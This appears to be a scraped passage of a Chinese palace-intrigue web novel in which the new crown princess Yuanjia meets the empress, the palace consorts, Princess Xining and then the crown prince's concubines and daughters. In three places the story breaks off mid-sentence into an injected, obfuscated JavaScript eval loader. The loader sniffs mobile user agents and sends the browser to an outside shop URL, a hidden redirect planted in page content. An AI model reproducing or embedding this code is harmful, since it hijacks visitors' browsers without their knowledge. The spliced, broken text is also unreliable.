“这丫头,说上次见你太过匆忙,特意缠了予要今日过来。予实在拗不过,也想着人多热闹,便将贤妃和德妃也请来了……宫中高位嫔妃不多,四妃更只存二,你见过她们也就够了。” 这便是解释了。 元嘉浅浅应了一声,并不多说话,只摆出悉心听训的模样。 这副恭顺的表情,显然也取悦到了娄皇后。她满意地点了点头,面上笑意更浓,“予果然没看错,你与太子确实相配。” “母后慧眼识珠,这才选中了太子妃这般出挑的女郎。模样生得周正不说,性子瞧着也是极好的……儿臣得了位好弟妹,也恭喜祁弟得了位好夫人了!” 熙宁公主的视线不住地在元嘉与燕景祁之间逡巡,带着三分揶揄,笑盈盈道。 “今日这嘴倒跟抹了蜜似的,”娄皇后佯作惊讶地看了人一眼,“上次这般,还是向你父皇讨要别院的时候。这是又瞧上了予宫里的什么东西,还是你弟弟宫里的……太子妃才嫁进来呢,可不许问她要。” “母后惯会拆儿臣的台,”熙宁公主嗔怪道,“儿臣不过是喜欢太子妃,想多亲近太子妃一些罢了,哪有什么别的念头……再说了,儿臣越是夸太子妃,越是喜欢太子妃,不就越证明您的眼光好么!” “你呀!真真是——” 娄皇后指着人笑得开怀,言语中是毫不掩饰的疼惜。 “儿臣哪句话说错了?”熙宁公主眉梢一挑,将目光又锁在燕景祁身上,“祁弟,你别杵在那儿当木头,也跟着说句话呀!” 分明还有贤、德二妃在场,熙宁公主却已然将场面变成了自家的私地,说话间更是亲昵,倒像是寻常百姓人家在谈天说笑一般。 元嘉忍不住在心里喟叹,怪道天子如此宠爱,除却嫡长公主的身份,这份姿态也不是一般人可比拟的。 事实上,熙宁公主也确实有足够的底气。 燕景璇,便是熙宁公主,是大周朝此辈中唯一从了皇子讳的公主。据说是因为生在新年的第一日,出生时又恰逢雪停阳现,是吉相。武皇帝知道后很是高兴,遂大笔一挥赐了熙宁公主“景”字,又选了“璇”字做名,意为美玉。 光熹帝时为藩王,故燕景璇幼时长随父母居于藩地,养出了几分上京女郎难有的恣意随性。光熹帝登基后,更是第一时间将自己的这个长女册为了公主,此后更得帝后多年疼惜,称得上一句“要风得风,要雨得雨”。 待到燕景璇及笄,于婚姻事上更是诸般挑拣。非由帝后赐婚,而是公主自己相选。当此时,前中书令徐赦为其子求娶公主,自言家中儿郎任凭捡选。光熹帝本欲择一宗室女相配,却因熙宁公主看上了徐相家次子作罢。 而那徐相公子,虽功名不显,却生了副潘郎相貌,论起出身也算与公主相配。当然最重要的,还是熙宁公主自己喜欢。是以光熹帝几番思虑,又再三问明公主心意后,还是允了这门亲事。 要说也算是郎才女貌,只燕景璇恣意惯了,既因徐郎容姿成婚,便不许其他女人再有半分沾染,哪怕只是从前服侍在身边的侍女,婚后也全被撵了出去。 若换作其他人,既结皇室姻亲,又存公主威压,许也就忍过去了。偏这位徐郎也是个有脾气的,婚后不久便与燕景璇争执了数场,最后更是回了徐宅,任谁来劝也不肯再踏进公主府一步。 燕景璇既不觉得自己有错,自然也做不出纡尊请人回府的事情,夫妻二人就此分居。直到……有人将那徐郎置了別宅妇的事情捅到了燕景璇跟前。 燕景璇也不发火,直接回了宫。先求了一纸和离书,又请光熹帝下诏,赐了徐郎与那別宅妇的婚事,将人敲锣打鼓地抬进了徐家大门,只道是成全这段背妻求欢的情分。 可哪有那么多的情分。 那別宅妇只是个不知父母为谁的胡女,又常年在人员混杂的胡玉楼里卖唱为生,徐郎爱她娇弱如女萝,只能攀附自己而生,徐相却恨她煽惑人心,软语柔情迷得自家儿子断了皇室姻缘。愠怒之下,一通家法去了徐家公子的半条命,本还想灌那胡女满杯的鸩酒,以此向燕景璇表明徐家的立场,前者却不知为何放了那胡女一马,最后只将人撵出了上京。 徐相无法,只得自己上公主府请罪。燕景璇倒也没将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕景祁顿了顿,垂首应下,脸色如常,声音莫名有些发涩。元嘉也跟着低了头,又一次行礼谢过,心中却生出三分防备。 薛德妃口中的神妃,只怕就是那位早逝的薛太子妃了……真是好一张利口。 一件器物几句话,便引得燕景祁念起了亡人,又明里暗里在自己这个新妇面前上了一轮眼药,甚至还讽了娄皇后小气,直到今日才让她这个生母见到新媳。 这样一位能说会道,又生下两子一女傍身的女子,竟也会失宠于今上? 元嘉不明白,心中却更加警惕,只面上仍是那副恭顺模样。 整个殿内突然安静下来。 娄皇后拿起搁在桌上的茶盏,克制着抿了两口,抬眼目光冷冽,与薛德妃的视线在空气中相交,又各自错开。 许贤妃悠闲摆扇的动作略有停滞,余光睨了左右两眼,终是搁下了扇。她虽与娄皇后有私交,但今日过来,也不过做凑数之用。这样的场合,一个生母,一个养母,除了她,都是一家子。她实在不该多说什么的。 只是眼下再不开口,怕就真有人要稳不住脸了。 许贤妃温声道:“本宫也是第一次见太子妃呢,瞧着真真是极好的,怪道能让太子亲自开口。这样好模样的娘子,便是本宫见了也要早早定下的……偏我家那小子实在不像样。” 说的便是自己的儿子,几年前被封为端王的二皇子。但因终日以纵马游戏为乐,并不多受光熹帝喜爱。 又抬手向后一招,“本宫的礼怕就比不上德妃了……几件戴着玩的小首饰,还有本宫自己酿的几壶清酒,贺你二人新婚之喜。” 两人又是谢过。 许贤妃笑着望向娄皇后,“这样说来,熙宁公主的话倒还真有些许不对之处了……不是您的眼光好,是您和太子的眼光好呢。” 娄皇后听得许贤妃声音,面上总算又多了几分笑意,“谁说不是呢!予原道这孩子是个锯了嘴的葫芦,还在与陛下头疼人选呢……这孩子倒好,竟偷摸说与他阿姊听了,倒把咱们瞒在鼓里呢!” “儿臣可没替祁弟瞒着,”燕景璇掩口轻笑道,“听了祁弟的话,立时便来告诉母后了……祁弟只怕还要怪我这个嘴上没门的姊姊呢!” 说着又起身上前,揽过元嘉的手臂,笑着朝燕景祁道:“可这弟妹我瞧着喜欢,你要怪便怪罢,却得好好待人家!” 又偏过头对着元嘉,“他若敢欺负你,便来翔飞宫找我,我定给你出气!” “是,元嘉记着了。” 虽不知眼前唱的哪出戏,可显然是有利于自己的。元嘉歪着脑袋瞧了眼燕景祁,跟着燕景璇的话笑得眉眼弯弯。 燕景祁看着近在咫尺的元嘉的笑脸,也重新展了笑意,“阿姊都发话了,弟弟哪有不从的道理。” “你这冤家,他两个才将将成婚呢,你就来撺掇,当的是哪门子的姊姊!” 娄皇后指着人笑骂道。 殿内总算又恢复了初时的热闹。 许贤妃看着眼前和气的一团,总算松了口气。余光又瞥过一旁饮茶的薛德妃,见她面色虽如常,眼底却有些不快,暗自摇了摇头,只当不曾瞧见,重新拿起扇子,又开始慢慢摇动起来。 如此闲话了好一阵,娄皇后才又道:“……今日难得在清宁宫呆这么久,太子妃也在,便一起用了午膳再出宫罢。” 二人自是答应。 14. 互探言 娄皇后正欲传膳,不想光熹帝身边的内官江时海却突然造访——带着光熹帝的口谕,将燕景祁叫去了紫宸殿议事,午膳便也在那处一并用了。 既有国事,燕景祁只好先行告退,又留下元嘉,只道稍晚时候再来接人离宫。 被费心思的人都不在了,余下的便也没多留着的必要了。 薛德妃按着不耐,客套了两句便干脆离开。许贤妃多坐了片刻也告退了,只说端王午后入宫,还需提前回去预备。燕景璇无事,而元嘉本也是要在这等着燕景祁的,两人遂陪着娄皇后一道用了午膳。 饭毕,又陪着娄皇后去了附近的小花园散步消食。三人看着园子里欲绽未绽的花苞,不时闲话两句。又过了几刻钟,有小内侍疾步来报,道燕景祁已从紫宸殿离开,再一会工夫便过来了。娄皇后正逛到兴头上,不欲此刻回程,又估摸了几下时间,干脆让燕景璇陪着,元嘉出宫回太子府,她便也顺路回公主府。 元嘉本欲推辞,却被燕景璇抢先一步,“母后还真是与儿臣心灵相通,儿臣也正想再与太子妃说说话呢。” 娄皇后不做他想,只笑着点头:“你呀,可别多缠了太子妃,误了他二人回府的时辰。” 如此,元嘉也不好再开口。两人朝娄皇后一屈膝,便也一并告退。 等到离了娄皇后视线,燕景璇便也干脆让伺候的人离得远了些,只与元嘉两个并排走着。 这是有话要说了。 说来,她与燕景璇见面的次数一手便可数尽,哪里来的那么多的喜欢,又哪里来的说不完的闲话。如今走在一块儿,却又特意支开旁人,怕也只是有事要提点罢了。 “……早间在清宁宫,本宫见你虽与祁弟站在一处,彼此间却不甚亲密,可是他对你有不好?” 燕景璇蓦地出声。 元嘉怔了一下,突然间想起许贤妃在席上的话,语气不免平淡:“不是说,是太子亲口点的我么……既如此,他又怎会对我不好?” 燕景璇顿了一下,“祁弟后来也同我们提起过,说你或许并无意于太子妃之位。若非……你原不必嫁入皇室的。” 不过一句话,便叫元嘉好似置身在狂风巨浪之中,心底那只名为认命的小船在顷刻间便被掀翻沉底。 元嘉的呼吸有些急促,整个人更近乎失礼地看向燕景璇,“公主把话挑得这样直白,那元嘉便斗胆再多问两句。当日宴上,有貌者甚多,有才者也甚多,家世出挑者更不知凡几……元嘉自问无一事出挑,更无冒头争先之举,太子却为何在明知我无意储妃之位后,仍是开口选了我呢?” 方才在殿中初闻此言,元嘉便心生疑惑,却因是许贤妃的圆场之言,一时未及细思,此刻再听到燕景璇提起,她心中的疑惑便再止不住了。 她原以为这件事里,只是娄皇后一人的手笔,至多再添一个下诏的光熹帝,可如今看来,却是燕景祁在其中的作用更大些……那日她的确拦了燕景祁,求了他的施援,可想要避嫌的心思也是再明显不过的,元嘉不信燕景祁看不出来。 可饶是如此,这位太子殿下却还是叫她坐了这个位子……究竟是什么原因,燕景祁又是在何时打定的主意,她俱是一概不知。 元嘉不解,也不甘。她何尝不知道一切已成定局,时光亦无法倒转,如今再问,不过是想得一个明白,让自己可以彻底地接受现状。 “……总之,你是最适合的人选。” 燕景璇却不愿再细说,只拉过元嘉的手,两人继续向外走着,“太子妃觉得,我燕家如何?” 闻言,元嘉拢在袖下的另一只手下意识蜷了起来。她拧着一双细眉,缓缓道:“天家所在,不敢妄议。只是端看京中百姓,也能瞧出一片繁盛之象。” “倒是本宫问错了问题,”燕景璇似乎笑了一声,“那太子妃觉得,本宫又如何?” “公主天之骄女,又得帝后疼惜,自是旁人想象不到的顺心遂意。” 元嘉的神色更淡。 “……顺心遂意?”燕景璇细细品着这四个字,“本宫从许多人的嘴里都听到过这个词,可唯独在太子妃的口中多了些其他的意味。看来太子妃也对本宫曾经和离的事情有过耳闻了?” “只是、耳闻。” 元嘉刻意加重了声音。 燕景璇被元嘉这话引出了几分兴味,“本宫当时年轻,和离的动静闹得大了些,便连话本也多有隐射,太子妃便没多听两句?” “本就是他人阴私,且如今民风开放,也就算不得稀罕事了。不过是沾了公主的名字,才做了旁人茶余饭后的闲谈……元嘉实在无意多去探听什么。” 这下不止是脸色,连语气也淡了。 “那你觉得,本宫当年那般处置徐家郎君,会否太薄情了些?” 燕景璇偏头盯着元嘉的侧脸,忽而笑道。 被问话的人陡然安静下来。 元嘉垂着眼,指尖摩挲着腕间的玉镯——那是临出嫁前季母给的,似乎只要戴着这玉镯,她心底的茫然与不确定便能少些。 元嘉脚步不停,只仗着前方无人,一点点藏去眼底的黯色,沉默又沉默,终是道:“既做了天家的人,便该牢记自己的身份。有过界的胆子,自然也当有承得住后果的硬骨才行……一切,俱是那徐家郎君自找的。” 这话,也是说给元嘉自己听的。 她没有这样的胆子,她跟身后的季家也没有承担这样的后果的硬骨。自然,会牢牢记住自己的身份。 “……是阿,”燕景璇眼锋狠厉,“旁的人家想娶几房妻室都可以,独他不行。因他是公主的夫婿,天家的驸马,他须先服命做臣,才能在外头充君。本宫纵是女子,是他的内妇,却更却是他一辈子的妻主,不得忤逆。” 所以,她也该少言少问,服命于燕景祁这个贵居太子的夫主么? 熙宁公主想说的,是这个意思么…… 元嘉突然焦躁起来。 “本宫见你的次数不多,你也每次都是一副再恭顺不过的模样,可本宫却偏觉得你是个与本宫一样的脾气。本宫是真喜欢你,所以也不吝多提点你几句。” 燕景璇看着元嘉身上穿的一身华服,“不管你愿意还是不愿意,不管是祁弟开的口还是母后选的你,都不重要了。你如今是祁弟的妻子,是大周的储妃,来日或还会有更加尊贵的称呼……与其去纠结无法改变的旧事,不若想想,如何将自己现在这重身份做得更好。” “便为臣,也是有区别的。” 元嘉诧异抬头。 她说这话,又是什么意思? 燕景璇幽幽叹了口气,敛了一身的气势,倒又像在娄皇后身边陪着时的模样了,“这事也确有对你不住的地方。祁弟心里还惦挂着人,这时让你嫁了进来,难免会失了些夫妻间的情分。你年纪又如此的轻,一时有怨也属常情。” 元嘉的脑子被搅得有些杂乱。燕景璇的话或许是好话,是真心实意,可她却不敢全信。而那个在传言里、在所有人口中都对前人难忘的燕景祁,除开薛德妃说话的那阵工夫,似乎也并未流露出更多的不舍,尤其是晨间在少阳宫时…… 燕景祁是真的爱重薛太子妃么……若真的爱重,爱有几分?重又有几分呢? 元嘉随着燕景璇的话停下脚步,“公主今日说的这些话,元嘉一字不落地都记下了,在此谢过公主。只是生怨一说,恕元嘉不敢苟同。上京不知有多少女郎想得这门亲事,元嘉能有这个机缘,是老天爷恩赐的福气,珍惜都来不及,哪还会有什么怨,公主实在是多虑了。” 燕景璇亦是笑笑,“本宫虽不知道你是如何称呼祁弟的,只今日,连你自己都没发觉么?从小花园一路过来,不说阿姊,你连皇姊都不曾唤过一句,瞧着是恪守本分,可要说一点气都没有,本宫是决计不信的。” 元嘉呼吸一滞。 燕景璇恣意地笑出声:“我是真喜欢你这性子……好在来日方长,下次再邀太子妃去我翔飞宫一聚。” 是的,燕景璇不止在宫外建了公主府,在宫内也不曾与其他公主同住凤阳阁,而是有着自己的宫殿——光熹帝亲命修辟的翔飞宫,帝王恩宠,可见一斑。 既知燕景璇说的在理,元嘉便也没必要为难自己。她展了眉,也学着前者的样子笑了起来,“那便先谢过皇姊相邀了。只是太子每日上朝,我又不好时时入宫,皇姊若是不嫌弃,便常来太子府,也省得我一人寂寞。” 燕景璇自是答应,“既得嘉儿的此番承诺,往后我便要时时打扰了。” 她也跟着换了称呼。 两人带着各自的思量相视一笑,脚下又重新动作起来。 清宁宫就在前方,元嘉甚至瞧见了燕景祁身边的宫人,而他们应该也瞧见了元嘉——有人往里处跑去了,想来是去请燕景祁出来的。 不多时,果见一道熟悉的身影跨阶而下。 停在元嘉身侧,燕景祁道:“母后说阿姊也要出宫,不若上弟弟的马车,咱们一道走。” 燕景璇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497972|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆了摆手,“我还要先回翔飞宫取些东西,就不跟你们一起了,晚些坐自己的马车回去。” 燕景祁闻言,便也干脆同燕景璇道别,又与元嘉一起坐上了回府的马车。 …… 没了旁人在场,也无有其他事情可用做遮挡,此刻与燕景祁两相对坐,元嘉那股不适应的感觉又出现了。好在小案几上有提前备好的茶水,元嘉垂着眼自斟自饮,倒也不算拘谨。 “……跟阿姊一路过来,聊的可还开心?” 仍是燕景祁先开口。 “自然是开心的,”元嘉捧着茶盏,感受着透过杯壁传来的淡淡热意,“有皇姊相陪,倒免去了妾身的许多不适应。” “那为何脸色有些不好?” 元嘉微怔,热气模糊了面容,一时倒也看不清面上表情,“……约莫是这几日有些累着了,所以显得脸色不好,多谢殿下关心。” 巧妙地寻了个借口避开。 燕景祁唔了一声,将茶盏凑近嘴边,“你就没有什么要问孤的么?或许,孤还能帮你免去其他的不适应呢。” 元嘉搭在杯壁的指尖猛地一僵,有些摸不准燕景祁的意思。 “虽不知母后是何思量,”燕景祁啜饮了两口茶水,“但孤确实向她和阿姊开过口,也确实说过你的名字。” 燕景祁掀起眼皮,语气却显得有些随意。 “……” 元嘉不必抬头,便能感受到男人锐利的注视……这是还想再试探什么?熙宁公主的话言犹在耳,若非场合不对,元嘉委实想要痛快地大笑几声。 明明就没有给她任何选择的权利,怎么到如今又都想从她嘴里掏出甘愿二字了呢? 元嘉缓缓勾起一抹弧度,丝毫不惧地看向燕景祁,“那、妾身便斗胆一问了。” 燕景祁颔首,又轻抬了下巴,示意元嘉开口。 “殿下为什么会选择妾?” 元嘉不欲绕弯子,索性单刀直入。 “既出现在赏菊宴上,你便与其他人一样都是待选之身,孤为何不能选你?” 燕景祁不答反问。 元嘉不为所动,“当日席上出挑的女郎不知凡几,想与殿下共结鸾俦的更是大有人在。殿下何不挑个有心有意的,为何一定要选妾……妾身是何心思,您分明也是清楚的。” 元嘉挑的更明。 “那又如何?”燕景祁面色不改,“你还是接受了,季家也从命了……从颁诏到册封,你都做的很好,证明孤没有看错人。” “……必须是我?” 或许是燕景祁的态度太过坦然,让元嘉不自觉地怀疑起自己来,下意识喃语。 “不是必须,”燕景祁合上杯盖,盯着元嘉有些苍白的脸,缓缓道,“只是你最合适。” 又是最合适…… 她终于明白了,也什么都不必再问了。 元嘉泄了劲,一贯在人前挺直的背脊有些微佝。她抿着嘴,勉强道:“多些殿下解惑,妾身明白了。” 燕景祁轻笑一声:“不继续问了么?” “若只为‘合适’二字,那便不必再问了。妾自觉无有招眼之处,能得皇后和您看中的,就只剩下这重身份了……妾身出身武家。” 元嘉艰难地吐出最后几个字。 “不必妄自菲薄,你亦有出挑之处,”燕景祁侧了侧身子,单手撑住下颌,“不管是在孤面前,还是在母后面前,你所展露的一切都很妥当,也很聪明……孤或者该说,你不愧是季将军与顾夫人教养出来的女儿。” “……什么?” 不自觉间,元嘉已被眼前的男人牵着鼻子走了。 话到此处,燕景祁反而闭口不言了。他浅浅一摇头,不再回答元嘉的疑问,只道:“神妃在时将太子府打理的很好,里外谁人都赞她一句。如今你既为太子妃,便也不要坠了神妃留下的好名声。” 这是她第一次从男人的嘴里听到‘神妃’二字,却不带任何的怀念,更听不出半分缱绻情浓,仿若只是顺口一提……太奇怪了。 元嘉克制着皱眉的冲动,语气却难免有些冷淡:“妾身定会尽好太子妃的本分,不叫殿下与皇后失望。” 至于其他的,她可无意做谁的替代品,便是要修名声,也该是她季元嘉的名声。 燕景祁眉梢一挑,也不知有无听出元嘉的言下之意,总之是饶有兴致地点了点头,道:“好,那孤便拭目以待了。” “……妾身、定不负所望。” 15. 踏府门 马车从砖地与碎石子路上碾过,行路却十分平稳,连杯盏中的水纹都不曾漾起一分。元嘉有些昏昏欲睡,直到听见车夫的止喝才骤然清醒。 申时安自外头掀了帘子,先将燕景祁迎下了车,盼春则在另一侧等着,想避过燕景祁后再迎自家大娘子下车。 却不想男人先动作了。 他侧过身,极其自然地朝半掀的帘子的方向一伸手,竟是要亲自扶人下车。 元嘉看着眼前骨节分明的宽大手掌,愣了一下,仍是递出手去,借着燕景祁的力道走了下来。 府门已开,两侧也早有宫女内侍等候。一见两人身影,便前后有序地行礼请安,元嘉余光瞥了眼燕景祁,见他未有叫起之意,只脚步不停地往里走,便也闭了嘴,默不作声地跟着。 才跨过门槛,还不及迈下台阶,便见外仪门前的空地上站着几位作宫装打扮的女子。其中两位的身边,还各自依偎着个约莫三,四岁的稚□□童。 服侍的人站得稍远些,此刻皆垂着脑袋佝着身子,不敢窥伺眼前的场景。 燕景祁停下脚步,元嘉仍是跟从,两眼却不动声色地扫视了一圈。为首的两人笑意最浓,身份当也最高,至于左右的两个,一人稍显拘谨,另一人则分外冷漠。 “怎么在这里等着,还将两个孩子带在一起!早前出宫时辰不定,孤已命人传了话,让你们午后去长春馆候着。天气渐热,日头也盛,此处又没个什么遮挡的,着了暑气得了病,可怎么是好!” 燕景祁眉头皱成了一个川字,语气也带着细微的不满。 这时,一位身着绫裙,外罩大袖披衫的年轻女子上前,福了福身,又朝燕景祁笑盈盈地开口:“殿下记挂着咱们,是殿下的心意,可咱们在此处候着,却是对太子妃的心意了。” 正是领头的两人之一。 说着,又掩口一笑:“郡主们都叫奶母细细看护着呢,虽在此处等着,却也是先让人抱坐在廊下有阴影的地方,不曾受到暑热侵袭。两位郡主可是咱们眼里心里的宝珠,谁人不疼惜呵护呢……刘姊姊,你可得帮着妹妹说句公道话呀!” 女子丝毫不为燕景祁的态度发怵,反倒十分自在,说话更似家常,像是笃定燕景祁不会生气一样。而被她称以‘刘姊姊’的人,正是与其并肩而立的另一名女子,此刻正瞧着她无声轻笑。 两人的关系倒是极好。 元嘉忍不住对这两人起了好奇。她自己与燕景祁接触的时日尚短,还远做不到能在男人面前自在,又被‘太子妃’三字限了身份,就更不可能按着性子过活了。 还不如这女子…… 元嘉在心底笑话了自己两句,又将注意力重新移回燕景祁身上。 男人嘴抿成一条直线,又不耐地捏了捏鼻梁,竟真是没有生气,只道:“好了,都去长春馆罢,也好让你们拜见太子妃。” 说完又朝元嘉望了一眼,两人前后下了阶。众人散开,又跟随在两人身后,一并往燕景祁口中的长春馆走去。 穿过抄手游廊,行过前院正厅,跨过内仪门,再走过一道垂花门,便到了元嘉日后的长居之所——长春馆。 宫内虽有少阳宫为太子居所,可燕景祁仍依例早早搬去了宫外,建了太子府用以居住。燕景祁常居的澹怀堂,是整个太子府的中心,太子妃院则坐落在澹怀堂的东北角,名曰“菡萏馆”。 薛神妃在世时,住的便是此处。 而元嘉,既做了太子妃,按说也该居于菡萏馆。只薛神妃身故后,燕景祁便将整个院子封了起来,一应陈设仍保留着旧时模样,除薛神妃旧仆和日常负责扫洗的宫女外,甚少有旁人进出。 今次元嘉入府,燕景祁也没有叫人重新开院,而是命工匠将靠近澹怀堂的、平日里充作书房的小院辟了出来,又将与澹怀堂廊道相隔的另一排房屋并了过去,重新在西北角起了一座院落,亲题匾名曰“长春馆”。 这便是元嘉的太子妃院了。 …… 正厅内,燕景祁与元嘉居上首,并排而坐。下方左右各依次序站着方才短暂打过交道的那几位女子,以及燕景祁的两个女儿。 依旧是那绫裙女子最先站出来,“妾身倪氏娉柔,太子良娣。见过太子妃,太子妃长乐万福!” 说着盈盈俯身,背脊弯成一抹极漂亮的弧线,是个令人赏心悦目的姿势。 元嘉抬手叫起,免不得多打量了几眼。 这位倪良娣,纤腰楚楚,凝脂点漆,眼角带俏,眉目含情,额心朱砂一点,十足的美人坯子。 跟着上前的,就是方才与倪娉柔站在一处,被称之以‘刘姊姊’的那位。瞧着倒比倪娉柔大上几岁,恭敬地朝元嘉行完礼,便又自觉地退至一旁。论位分,倒与倪娉柔同居良娣,姓刘,单字一个婵,是燕景祁长女的生母。 第三位姓吴,原是尚寝局宫女,后经娄皇后挑拣,去了年岁渐长的燕景祁身边伺候内寝事。燕景祁出宫建府时,便也将她一并带了出来,又给了个太子奉仪的位分,不至叫人终老别宫。 至于这最后一位…… 元嘉盯着眼前这张面无表情且满是冷意的脸,委实有些意外。这个浑身透着戾气的女子,竟是前中书令徐赦的小女儿。 徐家出事时,她已嫁进了太子府,是以并未如徐家其他的女眷般被充入掖庭问责,但也从太子良娣贬到了最末等的太子奉仪,再不为外人所知悉。 可就是这样的女子,却是燕景祁第二个孩子的母亲。 元嘉缓缓移开视线,照例颔首,又温声让人落座。 “还有一位姓卫的良媛,但她体弱,又生过病,如今听着医嘱,少有出门的时候……倒不必你多费心,她的衣食住行府内早有规制,身边也不缺医女宫人照顾,你得空时问问近况即可。” 燕景祁见人都坐了回去,这才开口。 元嘉点头称是,也不多问。 燕景祁又重新将目光投向下方。元嘉顺过去一看,顿时了然——大的见了礼,接下来便该是小的了。 燕景祁的两个女儿,瞧着身量相仿,年纪当也差不多,都生了副讨喜模样,只其中一个莫名有些瑟缩。 挨着刘婵坐下的女孩儿先一步站了出来,虽年纪尚小,却已带了母亲的几分端重。只见她稳稳立在元嘉跟前,又一丝不乱地行礼请安,“宜妤见过母亲,母亲长乐万福。” 这便是燕景祁的长女。 元嘉笑着招手,示意她上前,又打开盼春一直捧在手中的匣子,取出里面的长命金锁,小心戴在宜妤脖颈,这才说话:“你既称我一句母亲,今日又是我与你的头次见面,母亲便送你一副长命金锁……算不得什么稀罕物,只拿去平日里戴着玩儿罢。” 元嘉早知道太子有两个女儿,是以在收下诏书后便提前预备好了今日的见面礼……既已做了燕景祁的妻子,便也得学着做他孩子的母亲。 宜妤毫不扭捏,弯着眉眼咧着嘴便收下了,又朝元嘉一屈膝,方才回到自家母亲的身边。将将坐稳,便兴致勃勃地扯着脖子上的金锁,与刘婵低低说着什么。 元嘉笑着看着女孩儿的动作,心中不由地多了几分喜爱。余光又瞥过燕景祁,见他面上也带着明显的满意,想来也是颇看重这个长女的。 也是,妤有聪慧美丽之意,既为长女取名为妤,自然是有不少期许的。 思及此,元嘉少不得将目光投向另一个女孩儿,只这一看,却又看出许多的奇怪来。 女孩儿有些胆怯地挤在徐奉仪身边,只恨不得能将自己一整个都藏起来。徐奉仪却始终一副冷面,丝毫不关心自己女儿是何模样,偏又不耐一堆人的视线集中在自己这里,有些厌烦地将人推了出去,拧着眉道:“你现在该做什么?嬷嬷们都教过的。” 女孩儿踉跄了两步,眼眶也跟着泛了红,勉强行了半礼便又僵住了,滚圆的眼睛带着显而易见的无措。 燕景祁的面色有些难看,徐奉仪却收了一开始的冷脸,视线在自家女儿和燕景祁的身上打了个转,无端勾出一抹奇怪的笑,似是幸灾乐祸,又似是讥诮嘲讽。 元嘉眨了眨眼睛,只当是没有看见,仍是抬手招人过来。从匣子里另取了副长命金锁,同样挂在女孩儿的胸前,温声道:“这是你的,跟方才给你大姊姊的那副一模一样。你收着它,就当是我给你的见面礼,好不好?” 说着,又轻轻抚了一下女孩儿的发顶,却不想那单薄的人影剧烈地抖了一下,像是被元嘉吓住了一般。她抬起眼,先怯生生地看了眼燕景祁,又扭头朝徐奉仪望了又望,见二人俱无什么好脸色,便又自个儿埋下了头,却是从头到尾都没瞧元嘉一眼。 元嘉不着痕迹地收回手,也一并按下心中的许多疑惑。她昨日才算正式与燕景祁完婚,这孩子此前是如何被人教导的,又是如何被养成这副模样的,原不该她来过问,也不该她来开口。 至少,不该在今天。 元嘉将在场人的诸般脸色扫入眼底,自觉敛了三分笑意,端起手边的茶盏,借着喝茶的由头,干脆闭了口。 只是—— 堂堂太子府的郡主,大周的金枝玉叶,燕景祁怎会容忍自己的女儿被养出这副脾性……且,还有个被教养得极好的长女做比,那便更说明燕景祁是上心于子女事的。这其中,究竟有什么其他的缘由? 元嘉疑窦丛生,厅上却一片死寂。 女孩儿将头埋的更低,两手也不自觉地攥紧衣角,却依旧不看元嘉。 元嘉垂目扫了人一眼,终是狠不下心肠。默默在心底叹了口气,放下茶盏,转而与燕景祁说起话来:“就是样式寻常了些……赶着工期做出来的,到底是缺了几分精巧。” “你能有这份心意,便已是无价了。” 燕景祁面色稍霁,语气却仍有些不好。 女孩儿依旧孤零零地站在厅上,徐奉仪也始终不曾分去半分视线,兀自捧着茶盏一言不发。 刘婵极轻地蹙了下眉,抚着宜妤的手不着痕迹地在后背处一拍,自己则开口道:“瞧你一直往花厅那边望,可是坐不住了?带着妹妹过去玩罢……殿下?” 又询问般看向燕景祁。 女孩儿也脆生生道:“爹爹,女儿想和妹妹去花厅玩!” 男人颔首,又命奶母宫女细心看护,这才允了一大一小两个人影牵手离开。 到这时,徐奉仪才似回过神来般开口:“太子妃见谅。宜恕年纪小,性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“自徐氏一门伏诛,她便性情大变。从前虽娇纵,却也是个知礼识矩的,如今却不管见了谁,都是一样的恶言恶语,所以也并非是针对你的缘故,对孤也是一样的。你、不必记挂在心上,由着她去罢。” 燕景祁将手覆在元嘉手背,算是解释。 “……今日本只想让你见见府上的其他人,没想到她竟在这场合发作了,倒是委屈你了。” 说着,又捏了捏元嘉手心,语气和缓,难得带了几分安抚。 燕景祁已然将话说到这份上,她便是真有不满,这时候也都不该再有了。 毕竟,她是因为‘合适’才被选为的太子妃。 于是,元嘉微微一笑,反握住男人宽厚的手掌,“什么委屈不委屈的,殿下未免也太看轻我了罢?便是真委屈,也不是为自己,而是见着了宜恕……” 她刻意没有继续说下去,而是想引着燕景祁多透露些其他讯息。 “她……总之就是徐家的那些事情,”燕景祁语焉不详,显然还有许多细节不曾细说,但对现在的元嘉来说也已足够,“宜恕被她当做了凭恃,所以不肯放手,却又生不出慈爱心肠。而宜恕自己,即便被生母处处冷待,却也始终不肯离开。” “孤也想过直接将孩子抱走,可惜没能成功,大人发了疯,宜恕也哭得大病一场。也是那次之后,神妃发了话,不再让宜恕离开自己母亲的身边……如此,到了现在。” “只长此以往,对宜恕总是弊大于利的。” 元嘉忍不住感慨一句。 “是,”燕景祁亦是赞同,“所以孤想着,等孩子再大些,到了进学的年纪,便将她与宜妤一并送进宫去,让女官与女傅教授书文仪礼……如此,当也无恙。” 